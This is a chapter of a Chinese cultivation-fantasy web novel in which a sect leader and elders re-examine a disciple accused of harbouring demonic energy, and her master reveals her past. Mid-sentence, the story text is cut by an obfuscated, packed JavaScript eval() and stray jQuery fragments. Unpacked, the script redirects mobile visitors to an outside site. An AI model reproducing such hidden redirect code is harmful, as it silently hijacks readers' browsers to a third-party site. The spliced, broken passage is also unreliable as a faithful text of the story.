“周明冉,你说要一套男装,我自掏腰包给你买了件新的,又火急火燎地给你送过来,你还骂我?”
“骂你?骂你怎么了?我不该骂你吗?叫你买件衣服,你看看你买的是什么?能穿吗?”
纪飞白心虚地往某人身上瞥一眼,嘴硬道:“虽然颜色是小众了点,但也不至于说不能穿吧……”
周明冉气到极点反觉心累,扶额重重叹气:“盈盈,替我跟江师弟说声对不住。”她发自内心地忏悔,真不该托纪飞白帮这个忙。
祝辞盈看了看谢让尘。
“被害人”心平气和道:“一件衣服而已,江某觉得并无不妥之处。”
并无不妥?
祝辞盈的眼角微微抽了一下。
纪飞白买的是一件嫩粉色的长衫,领口袖子下摆一眼扫过去,全是精美艳丽的海棠花,绣工精致栩栩如生。离得近了还能闻到浓浓的花香,极为骚包。
但好在,谢让尘的身材比例十分优秀,长衫穿在他身上更衬得他的气质,翩翩公子温润如玉。
饶是如此,灵鸟仍旧默默地盖住自己的眼睛,不忍直视。
周明冉的气消了,又觉得纪飞白这一顿骚操作让自己丢了面子:“你一定是故意的!”
纪飞白心里委屈:“周明冉你别好心当成驴肝肺!谁让你没跟我交代清楚衣服是给男人穿的!我以为是你自己穿的呢。”
“我何时穿过这种颜色的衣服……”
“师姐,纪师兄你们别吵了。纪师兄,宗内那么多弟子在,师姐只找你帮忙是因为你们关系最好。”祝辞盈站出来打圆场。毕竟两人吵架的起因是她主张给谢让尘换一件新衣服。
“关系好?”两人异口同声,纷纷看向她。
“跟他?!”
“跟她?!”
“少做梦了。”
“绝不可能。”
祝辞盈:“?”
你们挺有默契的不是?
与此同时。
前山,议事殿。
冯见山,李文元和于伯英刚刚落座。
静谧的殿内忽然走进一个人,手中执扇。
“于长老,李长老。”
于伯英与李文元齐齐站起身回礼:“玉隐真人。”
玉隐真人向冯见山拱拱手:“冯长老别来无恙。”
“你回来了。”冯见山疲惫的目光中燃起一丝希望之光。
“我派人把盈盈接回来。”他说。
“不必。”玉隐真人抬手制止,“我已令明冉去后山接人。这会儿,她们应该快到了。”
话落,殿门口出现四道身影。
“师尊,看看我把谁带来了?”周明冉率先开口。
玉隐真人眉眼一弯:“盈盈。”
“师尊——”
祝辞盈一撩裙摆,身躯下弯,跪地行大礼。
玉隐真人几乎是瞬移在她面前,扶她起身,语调温和有力:“盈盈不怕,师尊回来了。”
祝辞盈鼻子发酸,抬眼细看自家师尊。
玉隐真人长相儒雅,像凡界的文弱书生。他的年纪三十出头,是少阳宗最年轻的宗师,地位与众长老平起平坐。但他酷爱游山玩水,很少参与处理宗内事务。
是以,她师徒三人在少阳的存在感不算太高,但也无人敢欺。
只这一回受了委屈。
冯见山这时注意到一个眼熟的人:“你小子怎么也跟过来了?”
“师尊。”纪飞白行礼,“周明冉叫我来的。”
周明冉:“?”我什么时候?
她忍住撸起袖子揍人的想法。
冯见山自然不信纪飞白的鬼话。他能不知道自家徒弟心里想的什么?无非是来凑热闹。
“于长老,李长老,既然玉隐真人到了,咱们早点开始。”冯见山说完,眼尖地瞧见门外又进来一道身影。
他立刻躬身见礼:“宗主。”
众人心中一震,纷纷朝门口望去。
宗主曲延韬大踏步进入议事殿,边走边道:“事关紧要,诸位既然都到齐了,便尽快重审罢。”
他走至上方落座,朝众人摆摆手:“各位长老请坐。”
“是叫祝辞盈吗?”曲延韬的语气莫名听着有点热络。
祝辞盈回道:“是。”
曲延韬颔首,步入正题:“你的事我都听说了,我相信你并非有意打伤曲挽青。可关于你身存魔气一事,我尚且不能下定结论证明你的清白。你如何作解?”
祝辞盈上前一步,金黄色纱裙轻轻摆动:“回宗主的话,弟子从未与魔族勾结。弟子自小在少阳宗长大,受教,只一心坚守正道认真修炼,根本不屑于与魔族为伍。”
她目光坚定,态度不卑不亢。
曲延韬将她浑身上下打量一翻,忽地扭头问起于伯英:“于长老,你对她的话有何感想?”
于伯英自进入议事殿以来,无时无刻都在纠结。他心里门清祝辞盈不是故意伤害曲挽青,可她亦说不出魔气源自何处,便还是错。
哪怕一丝一毫的漏洞,为了给青儿一个交代,他甚至可以豁出自己的脸面:“宗主,请让她讲清楚魔气的来源。若能证明她身上的魔气不是自己弄来的,那我便相信她。”
曲延韬暗自叹气,眸光沉沉地望向于伯英,仿佛早已窥探一切:“关心则乱,关心则乱呐…于长老,我把青儿交给你,是看中你教学严苛,希望你能好好锻炼她,而非为她枉顾事实失去理智。”
于伯英脸色一红,苍老的手指紧紧扣住木椅扶手。
曲延韬示意祝辞盈解释。
祝辞盈深吸一口气道:“弟子不知。”
“那便是没有证据。”曲延韬道。
祝辞盈不吭声,表示默认。
冯见山坐不住了:“她没有,我有!”
众人目光纷纷落在他身上,冯见山拿出一块石头:“算半个吧。”
他招呼纪飞白过来。
纪飞白甫一接过石头便发现它的特别之处,是留影石。同时,他明白师尊的意思,没有犹豫,往里输送灵力。
留影石的中心冒出一个光点,光芒缓缓向四周扩散直至包裹整块石头,然后像粒子般倾泻而出,在半空中快速组成一副画面。
几道模糊的人影一瞬间变得清晰,是当日在戒律堂的场景。留影石从头到尾原原本本地展示出来。
于伯英的脸色霎时惨白,无比难看。
周明冉忍无可忍上前两步,与祝辞盈并肩而立。虽在弯身行礼,说的话可是连讽带刺:“都说于长老是少阳宗七位长老中最公私分明的一位,今日一看,以强欺弱专横无理倒是做得熟练。”
“师姐。”祝辞盈伸手护在她身前。
周明冉哪里在乎什么长老的脸面,她只在意谁欺负了自家师妹:“盈盈别怕,你师姐我长张嘴就是用来吵架的。”
“噗。”纪飞白笑出声,头顶立刻挨了冯见山一巴掌。
“明冉,不得无礼。”玉隐真人将折扇收至腰间,迈步。于殿中央停下脚。
师尊亲自下场,周明冉心里有了着落,双臂环在胸前等着看好戏。
“我自己的徒弟我了解。盈盈无法自证魔气的根源确实是她不知内情。”
“但我知道。”
尘封多年的记忆再次揭开,玉隐真人讲故事般娓娓道来:“十七年前,我游历至湘州南部的一处无名村庄,那里的数百位村民被妖魔联手屠杀殆尽,怨气冲天。我与他们展开一战,不曾想杀到最后一只大魔时,坍塌的废墟里突然传来孩子呜呜哇哇的哭声。我分神之际,大魔乘机钻入她的身体再不肯出来。”
他的语气沉下来:“那孩子年仅一岁,因为我的疏忽而背负如此沉重的业力,我如何能对她下手?所以我在她体内下了一道封魔印,束缚大魔,防止他作乱。”
做完这些,他原本是打算找户人家养活这位可怜的女孩。可当他把孩子交出去时,那孩子抓住他的手,说什么也不肯放开。
他方才意识到,或许是和她有缘,或许是她黑黝黝的大眼睛满是自己的身影,玉隐真人心软了。
“我将她带回宗门收作弟子,亲自教
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340411|152611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养十七年。她颇有天赋,勤奋修炼,道心稳固,怎么就成了与魔族勾结的叛徒?”
玉隐真人的心一阵刺痛。他并未想过让祝辞盈知道她自己的身世。他期盼她能平安无忧无虑地长大成人。
“况且,带她入宗前,我征求过宗主的意见。”
最后一句话令众人神色各异。
平静的,惊诧的和感动到哭的。
灵鸟擦擦眼泪,缩在谢让尘肩头。
面具之下,青年薄唇微微抿着。
祝辞盈的心脏重重一跳。果然!她开天目内查丹田时便有怀疑,师尊一定知道她身上的秘密——那道血咒。
周明冉挠挠头,怎么也想不到师尊会丢出这样惊天动地的消息。合着盈盈不知道,自己也被瞒了十七年!
纪飞白和冯见山几乎快要抱在一起,哭上一哭。天道不公,盈盈这身世也忒坎坷!
曲延韬接话道:“诸位,无论你们相不相信,事实就是如此。”
“祝辞盈并无过错。正如她所说,她没有与体内的魔气勾结,反而意志坚定,勇敢地和他抗争到底。此次的事,全都是意外,不再追究。”
“我与玉隐真人早前商量过,为防此类事件发生,再加一道封印。”
曲延韬一步步走下台阶。凑得近了,祝辞盈都能看见他眼角的细纹。
“我去看过挽青,她的伤瞧着是重了点,其实全都避开了要害,再调养一两日就好全了。”
曲延韬双手叠在一起,身体微微俯下:“我在这里代她向你致谢。”
祝辞盈忙侧身避开:“宗主客气。与魔抗争是弟子应做的。”
“你的精神应当得到嘉奖。”曲延韬欣慰地笑笑,“我正式宣布,恢复祝辞盈这次宗门大比的成绩,名次,包括蓬莱岛秘境试炼的名额。”
“希望你能代表少阳宗大放光彩。”
祝辞盈怔了怔。忽觉今日的一切都像做梦一样,与师尊师姐重逢的喜悦,清白得证的舒爽以及得知自己身世时的滔天恨意混做一团,令她忘记回答。
还是周明冉摇摇她的胳膊,祝辞盈才回过神,肃然起敬。她道:“定不辜负您的期望。”
事情告一段落。
李文元指指门口拄拐杖的粉衣青年,疑惑地问:“他是谁?为何戴着面具?”
祝辞盈神经一跳,赶在所有人开口前摸两下右耳朵:“他是我二师兄。早些年师尊在外边收的,并未正式入宗。我二师兄脾气有些古怪,不爱与陌生人讲话,更不喜欢以真面目示人。前段时日,他在苏州遇见师尊,师尊恍然间想起自己还有一个流落在外徒弟,就顺道带回来了。”
“这些都是师姐跟我说的。”
冷不丁被提到的周明冉:“啊对,没错。”
玉隐真人摸着下巴,做出认真思考的表情:“虽然时间隔得有些远,但确有这回事。你们看,我光顾着处理盈盈的事,都忘了先跟大家介绍一下。”
纪飞白悄悄用手肘戳戳自家师尊,小声地问:“师尊,你不会瞒着我也在外边有人吧?”
冯见山二话不说,赏他一记暴栗:“你小子怎么说话的!什么叫我在外边有人?万一让你师娘听见误会我怎么办…要不是你师娘疼你,我给你收一屋子师弟师妹。”
再说,玉隐真人的品味何时变差了?他徒弟穿的都是什么?啧啧啧,咋跟自家这臭小子的品味有点像呢?
曲延韬却是看了谢让尘许久。
祝辞盈最担心的便是他。谢让尘是他的徒弟,两人当是十分熟稔的关系,哪怕有面具遮挡,身形也是改变不了的。
祝辞盈生怕他看出端倪。
半晌,曲延韬平静地问:“叫什么名字?”
“江槐。”谢让尘压着嗓音答道。
曲延韬收回目光,哈哈一笑:“江槐,欢迎你来到少阳宗。不过,既是玉隐真人的徒弟,便是我少阳宗的弟子。记得去知行司登记挂名领取门牌。”
谢让尘点头。
祝辞盈长长松一口气,七上八下的心渐渐安定。
还好没认出来。